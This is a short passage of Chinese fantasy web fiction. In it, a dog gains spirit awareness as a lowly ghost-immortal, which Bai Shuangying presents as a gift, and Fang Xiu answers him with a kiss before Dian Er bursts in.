“不必害怕。”白双影轻声说道,“灵智乍开,大多如此。” 小**犹豫着摇摇尾巴,汪了一声。 它的样貌毫无变化,但方休有种强烈的感觉,有什么似乎不一样了。 他抿了抿冻起皮的嘴唇:“你该不会……” “它还是很笨,但这种程度,够得上最下级的鬼仙。” 白双影说,“地府想要解决污染,厄被鬼仙成功炼化,也算‘解决’。” “你不必杀它,这就是我的贺礼。” 白双影顺手解除隐藏,直直望向方休的眼底。 来吧,我看过你的绝望和痛苦,让我看看另一面的—— 白双影还没来得及找到最佳观察角度,胸口突然一紧。方休扯住他的领口,径直贴了上去。 寒冬之中,人类的嘴唇烫得惊人。 方休的动作笨拙而坚定。就像即将溺死的人,要从他这里吻去救命的空气。 “鬼仙的气——”奠二高叫着冲出厢房,接着冰雕一样僵在门槛上。 小**抖抖**,它生涩地显出身形,冲奠二汪了一声。